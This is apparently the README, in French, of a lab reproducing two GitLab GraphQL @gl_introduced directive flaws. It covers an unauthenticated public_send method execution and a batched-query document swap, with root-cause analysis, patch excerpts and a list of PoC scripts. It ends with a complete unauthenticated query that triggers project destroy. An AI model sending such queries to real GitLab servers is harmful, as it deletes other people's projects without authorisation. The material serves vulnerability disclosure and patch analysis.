
Fournit des exploits PoC et une analyse des causes racines pour deux vulnérabilités de la directive GraphQL `@gl_introduced` de GitLab : exécution de méthode non authentifiée et échange de document par lots, avec le correctif en amont et des preuves en direct.
@gl_introduced de GitLabUn laboratoire de reproduction pour deux bogues liés dans la fonctionnalité de filtre de versions GraphQL de GitLab (la directive @gl_introduced). Les deux vivent dans la même zone fonctionnelle, sont corrigés par le même patch en amont, et permettent tous deux à une requête GraphQL d'atteindre des chemins de code qu'elle n'a jamais déclarés :
destroy) sur le modèle derrière n'importe quel type GraphQL, simplement en nommant un champ qui n'existe pas et en le taguant @gl_introduced.| Affecté | 18.2 → <18.11.11, 19.0 → <19.0.8, 19.1 → <19.1.6, 19.2 → <19.2.4 |
| Corrigé | 18.11.11, 19.0.8, 19.1.6, 19.2.4 |
| Cible du lab | gitlab/gitlab-ce:19.2.2-ce.0 (dernier build avant le correctif) |
| Déclencheur | Directive GraphQL @gl_introduced, seule ou dans un lot |
docker-compose.yml Live vulnerable target (GitLab CE 19.2.2), :8929
patch-19.2.2-to-19.2.4.diff The upstream fix, version_filter only (the whole bug in ~60 lines)
harness/
live_test_fallback.sh PoC #1 -- live HTTP exploit, fallback-field method execution (unauthenticated)
live_test.sh PoC #2 -- live HTTP exploit, cross-operation document swap
run_poc.rb PoC #3 -- standalone, isolates the swap in plain graphql-ruby
loader.rb Loads the real 19.2.2 (vuln) or 19.2.4 (patched) version_filter source
Dockerfile Minimal ruby:3.3 runner for PoC #3 (no full GitLab needed)
src/
common/ Unchanged upstream files (shared by both variants) + demo schema
vuln/ Real 19.2.2 source of the files the patch touched
patched/ Real 19.2.4 source of the same files
evidence/
live_vuln_fallback_field.txt Captured output of PoC #1 against the live target
live_vuln.txt Captured output of PoC #2 against the live target
standalone_vuln.txt Captured output of PoC #3 (vuln)
standalone_patched.txt Captured output of PoC #3 (patched)
Tout ce qui se trouve sous src/ est du texte source amont verbatim, jamais réimplémenté — le chargeur superpose src/vuln ou src/patched sur src/common.
Gitlab::Graphql::VersionFilter::FutureFieldFallback permet à une requête de référencer un champ qui n'existe pas encore sur un type sans que la requête échoue — conçu pour les déploiements progressifs, où le schéma d'un ancien nœud ne possède pas encore un champ qu'un nœud plus récent fournit déjà. Son override get_field vérifie si le champ demandé est manquant et si la requête est marquée contain_future_fields ; si c'est le cas, il renvoie un champ synthétique au lieu de lever une exception :
# src/vuln/.../future_field_fallback.rb
def get_field(field_name, context = GraphQL::Query::NullContext.instance)
field = super
return field unless future_field?(name: field_name, field: field, context: context)
fallback_field(name: field_name)
end
def fallback_field(name:)
GraphQL::Schema::Field.new(
owner: self,
name: name,
type: GraphQL::Types::Boolean,
fallback_value: nil
)
end
Le problème : ce GraphQL::Schema::Field est construit sans méthode de résolution, sans classe de résolution, sans bloc. La résolution de champ par défaut de graphql-ruby s'applique alors (graphql gem 2.6.3, lib/graphql/schema/field.rb) :
inner_object.public_send(@method_sym)
@method_sym est le nom du champ, en snake_case — c'est-à-dire exactement la chaîne que l'attaquant a placée dans la requête. Si l'objet derrière le type GraphQL (le modèle ActiveRecord) possède par hasard une méthode publique réelle sans argument portant ce nom, graphql-ruby l'appelle et renvoie son résultat (converti au type attendu). fallback_value: nil ne s'applique que lorsque la méthode n'existe vraiment pas — il ne fait rien pour empêcher une méthode réelle de s'exécuter.
Donc : interrogez n'importe quel type pour un champ nommé d'après une méthode destructive réelle — destroy, par exemple — taguez-le @gl_introduced pour qu'il survive jusqu'à l'exécution, et la méthode s'exécute.
IntroducedTracer implémente le reste de la fonctionnalité de filtre de versions à travers deux hooks de trace graphql-ruby — parse (une fois par opération) et execute_query (une fois par opération). Dans la version vulnérable, il stocke son état par opération dans de simples variables d'instance sur l'objet de trace :
# src/vuln/.../introduced_tracer.rb
def parse(query_string:)
@original_query_document = super # <-- shared ivar
@contain_future_fields = false
filter = FutureFieldFilter.new(@original_query_document.dup)
filter.visit.tap { @contain_future_fields = filter.contain_future_fields }
end
def execute_query(query:)
return super unless @contain_future_fields
query.instance_variable_set(:@document, @original_query_document) # <-- swap
query.send(:prepare_ast)
query.context[:contain_future_fields] = @contain_future_fields
super
end
Le problème : graphql-ruby partage UNE seule instance de trace pour chaque opération d'une requête multiplexée, et les analyse toutes avant d'en exécuter une seule. Donc dans un lot de deux opérations :
parse(op1) → @original_query_document = op1_doc, @contain_future_fields = falseparse(op2) → @original_query_document = op2_doc, @contain_future_fields = true
(op2 porte un champ futur @gl_introduced)Après l'analyse, seul l'état de la dernière opération survit. Puis l'exécution se déroule :
execute_query(op1) → le drapeau est true, donc le document d'op1 est écrasé avec op2_doc et ré-analysé → le slot d'op1 exécute l'opération d'op2.op1 déclarait une lecture ; il exécute l'écriture d'op2.
patch-19.2.2-to-19.2.4.diff corrige les deux :
# future_field_fallback.rb -- give the fallback field an explicit resolver,
# so graphql-ruby never falls through to public_send on the field name
resolver_class: Resolvers::NilResolver
# NilResolver#resolve just returns nil, unconditionally -- no dispatch at all
# introduced_tracer.rb -- key the stashed state by each operation's own
# filtered document instead of one shared ivar
@introduced_tracer_data[filtered_document] = { original_document:, contain_future_fields: }
# ...
doc_data = @introduced_tracer_data[query.document] # no cross-operation bleed
query {
project(fullPath: "root/some-public-project") {
id
destroy @gl_introduced(version: "99.0.0")
}
}
Pas d'en-tête Authorization. Une seule opération, pas de lot. destroy n'est pas un vrai champ sur Project — il n'existe pas du tout dans le schéma — mais la directive fait que FutureFieldFilter le retire avant la validation statique et arme contain_future_fields pour l'exécution, où get_field renvoie un champ sans résolveur nommé destroy et graphql-ruby appelle project.public_send(:destroy).